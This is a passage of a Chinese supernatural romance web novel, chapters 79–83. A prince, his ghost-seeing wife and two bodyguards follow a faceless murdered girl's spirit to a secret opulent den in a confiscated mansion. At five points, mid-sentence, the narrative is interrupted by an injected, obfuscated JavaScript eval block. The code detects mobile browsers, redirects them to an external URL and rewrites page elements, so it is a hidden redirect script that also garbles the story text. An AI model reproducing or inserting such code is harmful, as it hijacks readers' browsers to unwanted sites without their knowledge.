“我看你就是为了逃避陈家的婚事,自己编造了这么一个谎言!安明珠,我怎么生了你这么个不知廉耻、满口谎话的女儿!” “我没有!” 安明珠猛地抬起头,脸上挂着泪,眼神却异常坚定。 “父亲!母亲!你们从小看着我长大的,我的眼光有多高,你们不知道吗?” 她这话倒是真的。 安明珠眼高于顶,京中才俊,能入她眼的寥寥无几。 “寻常的王孙公子我尚且看不上,我又怎么会自甘堕落,去跟一个街边的醉汉私会?” 永安侯和侯夫人对视一眼,都从对方眼中看到了一丝动摇。 安明珠的性子,他们最清楚。 要说她跟人私会,对象是个皇子郡王,他们信。 可要说她跟一个流浪汉……打死他们也不信。 难道……这里面真的有什么隐情? 难道……三皇子真的……其实是看上了安明珠? 夫妻俩越想越有道理。 毕竟他们也看不上安槐这个养在庄子里,毫无教养的女儿。 明珠,可是他们的掌上明珠。 是个男人但凡没瞎不傻,都已经该喜欢明珠才对。 …… 将哭得死去活来的安明珠关回房间,并加派了人看守后,永安侯和侯夫人在内室里,展开密谈。 侯夫人给侯爷倒了杯茶,先开了口。 “侯爷,您说……明珠说的,会不会……有那么一丁点的可能,是真的?” 永安侯端着茶杯,没有喝,眉头拧成了一个疙瘩。 “不可能。靳朝言是什么人?从边城尸山血海里爬出来的煞神,他会有那份闲情逸致,去跟明珠玩什么一见钟情?” “可凡事都有万一啊。” 侯夫人凑了过来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444718|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压低了声音,眼睛里闪烁着算计的光芒。 “你想想,安槐那丫头,是从庄子里回来的,一身的土气。三皇子当初娶她,本就是无奈之举。” “咱们明珠呢?从小金尊玉贵的养大,琴棋书画样样精通,是京城闻名的美人。男人嘛,哪个不爱俏的?或许三皇子是婚后才发现,自己娶错了人,真正的心上人,其实是咱们明珠呢?” 永安侯听着,虽然不太对,但也觉得有道理。 “你的意思是?” “侯爷!”侯夫人一把握住他的手,语气激动起来。 “你想想,如果明珠说的都是真的,那我们侯府可就时来运转了啊!” “三皇子虽然不能继承大统,可战功赫赫,陛下重视,赏赐不少。” 永安侯的呼吸,渐渐粗重起来。 侯夫人再接再厉,继续画着大饼。 “明珠是咱们从小疼到大的亲闺女,她要是得了势,还能不向着娘家吗?她可不是安槐这个白眼狼。” “到时候,咱们侯府要钱有钱,要权有权,还怕什么?” 这幅蓝图太过美好,美好到让永安侯已经开始忽略其中的不合理之处。 他沉吟了半晌。 “可……安槐毕竟是三皇子正妃,明珠进门,岂不是姐妹共侍一夫?传出去不好听。” “这有什么?”侯夫人不以为然地一挥手。 “当初安槐嫁过去,本就是不情不愿的。我看她跟三皇子也是貌合神离。若是三皇子真心喜欢的是明珠,咱们就做个顺水人情,让他们和离便是。” “到时候,再给安槐找个老实本分的人家嫁了,也算对得起她了。她那种性子,本就不适合待在皇家,咱们这也是为她好。” 一番话说下来,他们不仅把女儿的未来安排得明明白白,连带着把安槐的后半生都“慈悲”地规划好了。 永安侯终于下定了决心。 “好!” 他将茶杯重重往桌上一放。 “是真是假,我去探一探便知!” “明日一早,我亲自去一趟三皇子府。” “我倒要看看,三皇子是个什么反应!” 只是他们万万没想到,第二天清晨,根本就没有这个机会。 第79章 折骨,骨头 这一夜,永安侯府注定是个不眠之夜。 灯火通明,人影憧憧,下人们噤若寒蝉,侯爷的咆哮声隔着几重院墙都能隐约听见。 鸡飞狗跳,不得安宁。 当然,三皇子府的主人也没睡。 安槐与靳朝言,也没睡。 其实安槐这种三百年的老鬼,本就不太需要睡眠。 至于靳朝言,年轻力壮也能熬。 就是出门前,安槐问靳朝言:“王爷,我这天天出门查这个查那个,可都是为了你。” 靳朝言认同。 “辛苦夫人了,夫人想要什么样的奖励?” 安槐很满意,果然靳朝言是个懂事的男人,一点就通。 安槐勾了勾靳朝言的手心。 微微一笑。 等着闲下来,好好奖励。 今晚靳朝言还带上了诸元和杭玉堂。 四人,一半人半鬼,加一个鬼。 哦,天上还不知道飞了一个什么东西。 靳朝言的目光落在了那个亦步亦趋跟在安槐身后,浑身散发着水汽和怨气的小女鬼身上。 她没有五官,一张朦朦胧胧的脸,叫人不忍细看。 “一直叫她‘喂’,也不方便。” 靳朝言开了口,声音低沉,带着夜风的凉意。 “总得有个称呼。” 安槐侧目,看了看那小女鬼。 小女鬼似乎也知道在说自己,整个虚幻的身体都绷紧了,透着一股子紧张。 “你叫什么?”安槐问。 小女鬼茫然的“摇了摇头”,她连自己是谁都记不清,更遑论名字。 安槐沉吟片刻。 她是个实用主义者,起名字这种事,向来不喜花里胡哨。 现在这个…… “浑身骨头都被折断。” 她淡淡开口,像是在陈述一件无关紧要的小事。 “就叫骨头吧。” “……” 空气,有那么一瞬间的凝滞。 连抱着靳朝言大腿的团子,都默默地抬起了头,黑曜石般的大眼睛里写满了“认真的吗”。 靳朝言的眉心狠狠一跳。 骨头? 这名字……一个姑娘家叫这个名字真的好吗? 还不如九条呢。 他清了清嗓子,试图挽救一下。 “夫人,这名字……是否有些过于硬朗了?” 他已经尽力挑选了最委婉的词。 安槐挑眉看他:“有问题?” “没……没有。”靳朝言立刻改口。 他很清楚,在某些事情上,跟安槐讲道理是行不通的。 他只能将同情的目光投向那个小女鬼。 “你……觉得呢?” 那名叫“骨头”的小女鬼,整个魂体都抖了一下。 “……挺、挺好的。” “我很喜欢。” “谢谢……姐姐。” 声音带着哭腔,充满了被迫营业的辛酸。 靳朝言:“……” 行吧。 你们开心就好。 他认命地叹了口气,低下头,对上了自家干儿子的视线。 团子睡了一个白天,这会儿精神的不得了,两只小胖手死死抱着靳朝言的腿,像个挂件。 “爹……爹……” 他口齿不清地喊着,表达着自己的核心诉求。 “要……去……” “今晚要去的地方,不是什么好去处。” 靳朝言试图跟他讲道理。 团子不听,脑袋摇得像拨浪鼓,抱得更紧了。 安槐在一旁凉凉地开口。 “带上吧。” “他也不是什么正经小孩。” 靳朝言一想,也是。 一个鬼婴,阳间至阴至邪之物,还有什么地方是他去不得的? 总比把他一个鬼留在府里强。 “好。” 他弯腰,熟练地将团子从腿上撕下来,单臂抱在怀里。 团子立刻心满意足地搂住他的脖子,小脑袋在他肩膀上蹭了蹭。 一行人这才往外走。 府门外,杭玉堂和诸元早已备好了马车,恭敬地等候着。 当他们看到自家殿下抱着个奶娃娃,和王妃一起走出来时,已经见怪不怪了。 毕竟,殿下收了个干儿子的事情,他们是知道的。 这画面虽然诡异,但看久了……好像还有点和谐? 一个煞神王爷,一个清冷王妃,一个可爱的奶娃娃。 在外人看来,妥妥的一家三口夜游,身后还带着两个侍卫。 谁能想到,他们这趟“夜游”的目的地不正常呢? 上了马车,靳朝言觉得有些事还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17445178|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是得提前打声招呼。 鬼神之事,不可外传。 但杭玉堂和诸元是他最信任的心腹,许多机密之事从未瞒过他们。 更何况,那日在万贤山庄,这两人也亲眼见识过安槐那手出神入化的“物理超度”。 有些世界观,该颠覆的也颠覆的差不多了。 再颠覆颠覆也无妨。 靳朝言沉吟片刻,组织了一下语言。 “今夜,是去查折骨案。” 杭玉堂和诸元立刻正襟危坐,神情严肃。 “殿下请吩咐。” “今日有苦主前来报案。” “苦主?” 杭玉堂有些疑惑:“殿下,三名死者皆已入殓,仵作也已验过尸,并未发现更多线索。这苦主是……” 靳朝言抬了抬下巴,示意了一下安槐身边的空位。 “苦主,就在那儿。” 杭玉-专业侍卫-玉堂,和诸-专业侍卫-元,顺着他指的方向,齐刷刷地看了过去。 那里…… 空空如也。 只有一盏在马车行驶中微微摇晃的灯笼,投下一片明明灭灭的光影。 一阵夜风恰好从车窗的缝隙里吹了进来。 呜—— 像是鬼哭。 杭玉堂和诸元,两个在战场上刀山火海闯出来、**眼都不眨的硬汉,后背的汗**,齐刷刷地立了起来。 两人对视一眼,都从对方眼中看到了一丝……茫然和惊悚。 殿下指着空气说那里有个人? 殿下莫不是……中邪了? 还是说…… 他们心里同时冒出一个更可怕的念头。 这马车里,除了他们,真的还有别的……“东西”? “殿……殿下……” 诸元的声音都有点发飘,“您……您是说……” “字面意思。”靳朝言淡淡道。 “冤魂不散,前来申冤。” “今晚,我们带她去寻回记忆,找出真凶。” 杭玉堂和诸元,彻底傻了。 安槐只觉得好笑。 她好心问:“想看看吗?” “啊?” 杭玉堂和诸元一个激灵,猛地回神。 看? 看什么? 看那个……苦主? 诸元喃喃:“可,可以看吗?” 第80章 折骨,一个吻 安槐轻笑一声,正要再说些什么。 突然,一只温热的大手伸了过来,精准地捂住了她的嘴。 靳朝言的脸不知何时已经黑如锅底。 他几乎是瞬间就想起了安槐是如何让他“看见”那些骨头的。 那柔软的触感,那渡过来的、冰凉却不惹人讨厌的气息…… 那个吻。 那怎么行! 成何体统! “咳。” 他板着脸说:“你们不必看见。” 杭玉堂和诸元:“?” 虽然我们也不想看见,但是殿下您这反应是不是有点太大了? 两人又好奇,又害怕,又茫然,像两只在瓜田里迷了路的猹。 安槐也有些奇怪。 她被捂着嘴,只能用眼神询问靳朝言。 你发什么疯? 靳朝言对上她那双清澈又带着疑惑的眸子,心里的醋意更浓了。 他松开手,身子却凑了过去,压低了声音,用只有两个人能听见的音量,咬牙切齿地在她耳边说。 “夫人。” “莫非……你也要像那日给我渡气一般,给他们也渡上一渡?” 那温热的气息喷在耳廓上,让安槐的耳朵有些发痒。 她先是一愣。 渡气? 哦…… 她瞬间反应了过来,明白了这男人脑子里在想些什么。 她没忍住,“噗嗤”一声笑了出来。 笑声清脆,如环佩相击,在这诡异的气氛中,显得格外突兀。 “王爷想多了。” 她侧过头,眼波流转,带着一丝戏谑。 “自然不会。” “我对旁人,没那么好的兴致。” 靳朝言脸色缓和下来,但还是有些不自在。 他好奇地问:“那要如何?” 安槐没回答他,而是转头,对着他怀里的团子招了招手。 “团子,过来。” 团子立刻从靳朝言怀里钻了出来,眨巴着大眼睛看着安槐。 “娘……” “去。”安槐指了指已经石化的杭玉堂:“亲他一下。” 团子:“?” 杭玉堂:“???” 什么玩意儿? 让小公子亲我? 这……这是什么新型的赏赐方式吗?也太……太突然了吧! 杭玉堂,整个人都僵住了,一张麦色的脸瞬间涨得通红。 他还没来得及拒绝,就感觉一个软乎乎、冰冰凉凉的东西,贴在了自己的脸颊上。 “啾~” 一声响亮的、带着奶香味的亲吻声。 而杭玉堂,则像是被点了穴一样,一动不动。 他只觉得被亲到的那块脸颊,像是瞬间被一块万年玄冰贴住。 一股极寒的阴气,顺着皮肤,钻入四肢百骸,最后直冲天灵盖。 眼前的世界,仿佛被蒙上了一层灰色的滤镜。 一切都变得……不一样了。 他感觉眼前一凉,像是有人拿走了遮挡视线的帘子。 然后,他看见了。 就在王妃的身侧,那个原本空无一人的位置上,不知何时,多了一个穿着淡青色襦裙的小姑娘。 那小姑娘的身影有些虚幻,周身还萦绕着淡淡的黑气。 她静静地站在那里。 没有五官。 她的脸,是一片光滑的、平整的空白。 !!! “**!” 一声惊天地泣鬼神的粗口,从杭玉堂嘴里爆了出来。 这是他跟在靳朝言身边这么多年,第一次如此失态。 “锵——” 长剑出鞘的清越声响彻车厢。 杭玉堂几乎是出于本能,瞬间拔出了腰间的佩剑,剑尖直指那个无脸女鬼! 车厢里,瞬间陷入了一片死寂。 诸元被他这突如其来的举动吓了一跳,一脸懵逼地看着他。 “玉堂,你……你疯了?你拿剑指着……空气做什么?” 靳朝言扶额,脸上写满了“没眼看”。 安槐则是饶有兴致地看着这一幕,唇边的笑意更深了。 骨头一动不动。 团子不明所以,还以为是在玩什么游戏,开心地拍着小手。 “打……打……” 整个场面,诡异、惊悚,又透着一股子难以言喻的……滑稽。 靳朝言终于忍无可忍。 “杭玉堂!” 他一声低喝,带着不容置疑的威严。 “把你的剑,给本王收起来!” “那是苦主!” 靳朝言的声音不大,却像一记重锤,狠狠砸在杭玉堂的耳膜上。 苦主? 所以,王妃没开玩笑。 所以,殿下也没中邪。 所以,这辆看似平平无奇的马车里,真的载着一个……冤魂。 “咣当”一声。 那柄跟随他出生入死、斩敌无数的宝剑,就这么从他手中滑落,掉在了车厢的地板上。 “殿……殿下……” 杭玉堂的嘴唇哆嗦着,脸色煞白,比外头的月光还白。 一旁的诸元,彻底看傻了。 他看看自家殿下,再看看王妃,最后目光落在了自己这位生死兄弟身上。 “玉堂,你魔怔了?” 诸元伸手,用力拍了拍杭玉堂的脸。 “你对着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17448197|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 空气喊打喊杀什么?还苦主?哪儿呢?” 他一脸“兄弟你是不是压力太大出现幻觉了需要我给你找个大夫”的关切表情。 杭玉堂被他拍得一个激灵,猛地抓住诸元的手,力气大得像是要捏碎他的骨头。 “有!真的有!” 他声音嘶哑,指着安槐身边的方向。 “就在那儿!一个没脸的姑娘!” 诸元顺着他指的方向又看了一眼。 依旧是空空如也。 他皱起眉,看向靳朝言,眼神里充满了询问和担忧。 殿下,玉堂他……是不是该休个假了? 靳朝言没有理会他的眼神。 安槐也没有。 她只是好整以暇地看着这对陷入认知混乱的左右**,觉得这人间烟火,当真有趣得紧。 她在地下,可看不到这么生动的表情。 她对着怀里的团子,又招了招手。 “团子。” “娘……” 团子奶声奶气地应着。 安槐的下巴朝着诸元的方向,轻轻一扬。 “去。” “再来一个。” 团子朝诸元伸出手,要抱。 诸元只好抱过他。 “小公子,你……” 他话音未落,就感觉自己的脸上,被一个软软凉凉的东西,碰了一下。 非常快。 像是一片雪花,倏忽即逝。 “啾~” 又是一声响亮的亲吻声。 诸元:“……” 他整个人僵住了。 一股和杭玉堂先前体验过的一模一样的寒气,从脸颊处瞬间炸开,闪电般窜遍全身。 那感觉,就像是三伏天被人一盆冰水从头浇到脚,连灵魂都在打颤。 他眼前的世界,开始发生变化。 光影扭曲,色彩褪去。 然后,他看见了。 在杭玉堂惊恐万状的视线尽头,在王妃清冷淡漠的身影之侧。 那个穿着淡青色襦裙、身形虚幻、脸上空无一物的姑娘。 她正因为害怕,整只鬼都缩在角落里,抖得像风中的落叶。 诸元的瞳孔,在瞬间缩成了针尖大小。 他嘴巴微张,喉咙里发出“咯咯”的声响,像是被什么东西扼住了咽喉。 他抬起手,颤抖地指着那个方向。 “妖……妖……” 一个字卡在喉咙里,怎么也吐不出来。 杭玉堂一把抓住他。 “看见了?兄弟!你也看见了对不对!” 这一刻,杭玉堂找到了组织,找到了能与他共同分担这份恐惧的战友! 他激动得快哭了! 第81章 折骨,闭眼跟着走 诸元没有回答。 他只是缓缓地,缓缓地转过头,和杭玉堂对视了一眼。 两个在边城尸山血海里杀出来的铁血硬汉。 此刻,他们后背紧紧贴在一起,像两只在寒风中抱团取暖的鹌鹑。 然后,两人用一种近乎崩溃、带着哭腔、无比整齐划一的动作,猛地转向安槐。 ““王妃救命啊!”” 那声音,凄厉得像是马上要被拖去祭天。 车厢外赶车的黎四黎五,被这动静吓得手一抖,马鞭都差点甩飞出去。 车厢内。 靳朝言的额角青筋暴跳。 丢人。 太丢人了。 他这辈子都没这么丢人过。 安槐倒是气定神闲,连眉毛都没动一下。 她看着眼前这两个几乎要抱头痛哭的壮汉,慢悠悠地开了口。 “吵什么?” 她的声音不大,却像一盆冷水,瞬间浇灭了两人的哀嚎。 杭玉堂和诸元齐齐噤声,只是那惊恐的眼神,依旧死死地黏在安槐身上。 那眼神仿佛在说:求求您了,快把神通收了吧!我们还是孩子,我们承受不来! “不过是开了天眼,瞧见些寻常人瞧不见的东西,至于如此大惊小怪?” 安槐的语气里,带着一丝淡淡的鄙夷。 仿佛在说,没见过世面的土包子。 “开……开天眼?” 诸元结结巴巴地问,“就……就让小公子亲一下?” “嗯。”安槐颔首。 她一本正经地开始了解释。 “团子和一般的小孩不同,他有一些寻常人没有的能力。” “他亲你们一下,就能给你们传上一些。” “时效不长,约莫一个时辰。” “一个时辰后,便又恢复如初了,对身体不会有任何影响。” 杭玉堂和诸元听得一愣一愣的。 原来……是这样? 不是撞邪,不是闹鬼,而是一种……临时的“能力”? 听起来,好像……可以接受? 靳朝言在旁边适时地补了一句。 “此事,天知地知,你知我知。” “不得泄露半个字。” “属下明白!” “属下遵命!” 杭玉堂和诸元立刻挺直了腰板,大声应道。 虽然心里还是怕得要死,但起码,理智回来了。 他们小心翼翼地,用眼角的余光,又瞥了一眼那个叫“骨头”的苦主。 嗯…… 看久了,好像……也没那么可怕了? 就是一个……长得比较别致的小姑娘? 两人在心里疯狂地给自己做着心理建设。 安槐满意地点了点头。 “好了。” “骨头,指路吧。” 她对着那个无脸女鬼吩咐道。 被点到名的骨头,整个魂体又是一抖。 她畏惧地看了一眼那两个刚刚还想“斩妖除魔”的壮汉,然后飘到了车窗边。 她迟疑伸出虚幻的手,指向前方一个巷口。 “……这边。” 一道细微的意念,传入众人脑海。 马车,在她的指引下,缓缓驶入了深夜寂静的街巷。 然而,事情并没有想象中那么顺利。 骨头死的时候,怨气冲天,神志不清。 如今虽被安槐稳住了魂体,但记忆依旧是破碎的。 “……好像是这里。” 马车在一个十字路口停下。 “不对……好像是上一条街。” 马车又退了回去。 “也不是……我想想……” 于是,三皇子府的马车,就像一只无头苍蝇,在空无一人的京城街道上,开始了一场深夜的、毫无目的的漫游。 一刻钟后。 “我觉得是东边。” 半个时辰后。 “对不起,应该是南边……” 一个时辰后。 “我……我忘了……” 骨头带着哭腔的意念,充满了迷茫和无助。 她成了一个失灵的、还是魂体状态的导航系统。 车厢里的气氛,从一开始的紧张惊悚,逐渐变得……有些尴尬。 杭玉堂和诸元,也从一开始的汗**倒竖,变成了现在的生无可恋。 他们已经麻木了。 甚至还能面无表情地看着那只无脸女鬼在车窗前飘来飘去,指东指西。 就在马车又一次准备掉头时,前方巷口突然传来一阵急促的脚步声和盔甲碰撞声。 “站住!什么人!深夜在此逗留!” 一队手持火把、腰佩长刀的巡逻卫兵冲了出来,将马车团团围住。 为首的校尉一脸警惕,目光锐利。 他们是皇城司的人,负责京城夜间的治安。 赶车的黎四面无表情地从怀里掏出一块令牌,亮了出来。 “三皇子府办事。” 那校尉凑近火把,定睛一看。 “原……原来是三殿下!小人有眼不识泰山!多有得罪!多有得罪!” 校尉“噗通”一声跪在地上,身后的一众卫兵也跟着跪了一地。 靳朝言摆了摆手:“不必多礼,本王在办案,你们自己去忙。” 皇城司的卫兵匆匆离去。 车厢里,靳朝言的脸色有些难看。 他揉了揉眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17448198|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心,看向安槐。 “这样下去,不是办法。” 安槐也沉默了。 她看着窗外的街景,又看了看缩在角落里,几乎快要自闭的骨头。 确实。 指望一个记忆混乱的新鬼当向导,是她想得简单了。 怨气能让她留存,却不能帮她记路。 “停车。” 安槐突然开口。 马车应声而停。 她推开车门,走了下去,站在清冷的街道中央。 “骨头,下来。” 骨头听话地飘了出来,悬浮在安槐面前。 靳朝言也抱着团子下了车,杭玉堂和诸元紧随其后,警惕地守在四周。 他们都好奇地看着安槐,不知道她要做什么。 只见安槐从袖中取出一方素色的绸缎。 那绸缎,不知是何材质,在月光下泛着淡淡的、如水的光泽。 她走到骨头面前,抬起手,将那方绸缎,轻轻蒙在了骨头那片光滑的脸上。 为一张没有眼睛的脸,蒙上了眼睛。 这画面,诡异到了极点。 “王妃,这是……” 诸元忍不住小声问道。 “闭上你的眼,才能看见真实。” 安槐没有回答他,而是对着骨头轻声说道。 “你的眼睛在骗你,你的记忆在骗你。” “你之所以找不到路,是因为你在用活人的方式,去回忆死后的事情。” 骨头似懂非懂地“点了点头”。 安槐伸出双手,按在骨头虚幻的肩膀上。 “现在,忘了你是谁,忘了这条路,忘了京城。” 她的声音,带着一种奇特的、安抚人心的力量。 “跟着我,转。” 她开始推动骨头,让她在原地缓缓地转圈。 一圈。 两圈。 三圈。 骨头转得越来越快,像是深夜里一个失控的陀螺。 周围的景物在她的视野里飞速旋转,化作一片模糊的光影。 杭玉堂和诸元看得目瞪口呆。 安槐突然松手。 “停!” 骨头晕晕乎乎地停了下来,整个魂体都有些不稳。 “去吧。” 安槐的声音在寂静的夜里响起,带着不容置疑的命令。 “不要思考,不要回忆。” “跟着你的心走。” “你的怨,你的恨,会带你回家。” 骨头茫然地站在原地,沉默了片刻。 然后,她缓缓抬起了手。 那只虚幻的、惨白的手指,越过眼前繁复的街巷,穿过层叠的屋檐。 坚定地,指向了远处一片沉寂的黑暗。 第82章 折骨,销金窟 那只虚幻的手指,在清冷的月光下,泛着一丝病态的惨白。 它没有颤抖,没有犹豫。 就那么笔直地,穿透了夜的帷幕,指向了一个凡**眼无法洞悉的终点。 安槐说:“跟上。” 几人又上了车。 安槐很淡定,靳朝言也淡定。 杭玉堂和诸元开始有点慌,但现在也不慌了,更多的是好奇。 他们也是跟着靳朝言大大小小打过那么多仗的,尸体堆里都能睡着,对骨头,更多的是没想到的惊讶,谈不上多恐怖。 安槐又让团子去亲了黎四黎五一口。 现在好了,见鬼五人组,整整齐齐了。 骨头以一种极其诡异的姿态,缓缓向前“走”去。 她的双脚离地约莫三寸,身形不动,就这么平移着,像一缕被夜风牵引的孤魂。 悄无声息,却又带着一股令人头皮发麻的压迫感。 马车缓缓跟在骨头身后,保持着不远不近的距离。 骨头的速度不快,却很稳定。 她无视了所有的岔路口,坚定地沿着一条主干道,朝着城郊的方向飘去。 车厢内,气氛有些微妙。 团子捏着靳朝言腰上的一块玉佩,玩得不亦乐乎。 靳朝言面沉如水,看着黑暗里的白影。 安槐正在给团子编辫子,手指还挺灵活。 马车行了约莫半个时辰,渐渐荒凉。 但还在城里,到了城郊。 空气中,弥漫着泥土和草木的清新气息,冲淡了京城的脂粉与喧嚣。 最终,骨头在一处荒凉的院落前,停了下来。 那是一座看起来废弃已久的宅邸。 高大的院墙上爬满了枯藤,朱漆大门早已斑驳褪色,门上的一对铜环,也锈迹斑斑。 一把巨大的铁锁,将两扇门板牢牢锁死。 门楣上方的牌匾已经不见了,只留下几个模糊的印记。 骨头无视大门,也不停,就这么走了过去,穿门而入。 “殿下,娘娘,到了。” 众人下车。 五人一鬼,站在荒宅门口,夜风吹过,卷起地上的落叶,发出“沙沙”的声响,平添了几分阴森。 九条不知何时偷偷摸摸也跟了上来,在空中盘旋了两圈,落在马车上。 骨头已经消失在门里。 她是没有阻碍穿过去的。 杭玉堂和诸元再一次被刷新了认知。 尽管已经有了心理准备,但亲眼目睹一个“人”穿墙而过,那种视觉冲击力,还是让他们感觉自己的世界观,正在被按在地上反复摩擦。 “这……这才是货真价实的鬼啊。”诸元喃喃道。 杭玉堂深以为然地点了点头:“确实,比话本里写的带感多了。” “你们两个,再多说一句废话,就留在外面看门。” 靳朝言冷冷地瞥了他们一眼。 两人立刻噤声,垂手立在一旁,乖巧得像两只鹌鹑。 靳朝言抬头,看了一眼那足有两丈高的院墙。 他看向杭玉堂和诸元。 “进去。” 几人应着。 这种高度对他们来说,不费吹灰之力。 诸元还接过了团子,一起进去了。 靳朝言的目光,落在了安槐身上。 安槐也正看着他,眼神清澈,带着一丝询问。 “你……”靳朝言顿了顿,似乎在斟酌用词,“……能爬进去吗?” 安槐朝靳朝言翻了个白眼。 能,但不好看。 要是没人,爬就爬了。 现在你在,总不至于还让我爬墙? 我不要面子的吗? 靳朝言笑了一下。 大概是想到没成亲前,在永安侯府,看安槐半夜爬墙的那一幕。 在京城的贵女里,那真是独一份。 靳朝言接受了安槐的白眼,然后伸手,把人抱了起来。 公主抱。 他们之间虽然没有过公主抱,但有太多的各种抱,十分习惯。 靳朝言抱着她,脚下发力,身形拔地而起,如一只苍鹰,轻松越过了高墙,稳稳地落在了院内。 整个过程,行云流水。 他将她放下。 安槐整理了一下微乱的裙摆,抬眼看向他。 “多谢殿下。” “无妨。” 这院子,果然如外面看起来那般,荒废了许久。 杂草长得比人还高,假山倾颓,池水早已干涸,露出龟裂的池底。 廊柱上的雕花,布满了蛛网和灰尘。 空气中,弥漫着一股腐朽和潮湿的气味。 “这地方……”杭玉堂皱着眉,四下打量着:“我好像有些印象。” “哦?”靳朝言看向他。 “如果属下没记错,这里应该是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17453741|200865||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前户部尚书的府邸。” 杭玉堂回忆道。 他们虽然久不在京城,但时刻要关注京城的变化。 可不能某天回城,突然发现已经变天。 “五年前因贪墨案,被抄家流放的那个?”诸元插了一句。 “正是。”杭玉堂点头,“章家被抄之后,这宅子就被官府查封了,一直空置到现在。按理说,不应该有人才对。” 他说着,看了一眼走在最前方的骨头。 一个死去的冤魂,为何会回到一个被查封的前朝官员府邸? 这两者之间,有什么联系? 骨头没有理会身后的议论。 她飘飘荡荡,穿过荒草丛生的前院,走过倒塌的月亮门,又进入了第二重院落。 这里的景象,与前院并无二致,依旧是一片破败。 最终,她在主屋的门前,停了下来。 那是一栋看起来颇为气派的建筑,即便是年久失修,也难掩其当年的恢宏。 门,是虚掩着的。 骨头伸出手,轻轻一推。 “吱呀——” 一声悠长而刺耳的摩擦声,在寂静的夜里,显得格外清晰。 大门,缓缓打开。 骨头走了进去。 杭玉堂和诸元对视一眼,各自握住了腰间的刀柄,一左一右,护在靳朝言和安槐身前,小心翼翼地跟了进去。 当他们踏入屋内的那一刻,所有人都愣住了。 眼前的景象,和门外的破败萧条,简直是两个世界。 外面有多荒凉,里面就有多辉煌。 这哪里像是一个被查封的尚书府邸? 这分明是一座藏在废墟之中的……销金窟。 巨大的空间,显然是打通了好几个房间改造而成。 地上铺着厚厚的、绣着繁复花纹的西域地毯,踩上去悄无声息。 墙壁上,挂着精美的图画,画的多是飞天美人。 四周立着数面巨大的西洋水银镜,将屋内的景象映照得纤毫毕现,也让整个空间显得更加空旷诡异。 最引人注目的,是屋子正中央,一个用金丝楠木搭建起来的……舞台。 舞台之上,珠帘翠幕,流光溢彩。 舞台之下,散落着几张紫檀木的矮榻和酒案,上面还摆放着玉制的酒杯和果盘。 一切都奢靡到了极致,甚至带着一种病态的华丽。 第83章 折骨,停不下的舞 “这……这是什么地方?” 诸元已经看傻了。 这和他想象中的鬼屋,完全不一样。 没有断壁残垣,没有阴风阵阵,只有一股……扑面而来的、用黄金堆砌起来的腐朽气息。 没有人回答他。 因为所有人的目光,都集中在了那个走上舞台的白色身影上。 骨头。 她站在舞台中央,面对着空无一人的台下,缓缓地,抬起了手臂。 就在这时。 一阵悠扬的、带着几分哀怨的乐声,不知从何处响起。 像是琵琶,又像是古筝。 那声音空灵而飘忽,仿佛是从另一个时空传来,回荡在这座金碧辉煌的囚笼里。 伴随着音乐,骨头开始跳舞。 她的舞姿,极尽优美。 每一个动作,都充满了古典的韵味。 水袖轻舒,如流云飞卷。 腰肢款摆,似弱柳扶风。 美的,令人窒息。 但很快,众人就发现了不对劲。 她的动作,开始变得……怪异。 她的手臂,以一个常人绝不可能做到的角度,反向弯折,几乎贴到了自己的后背。 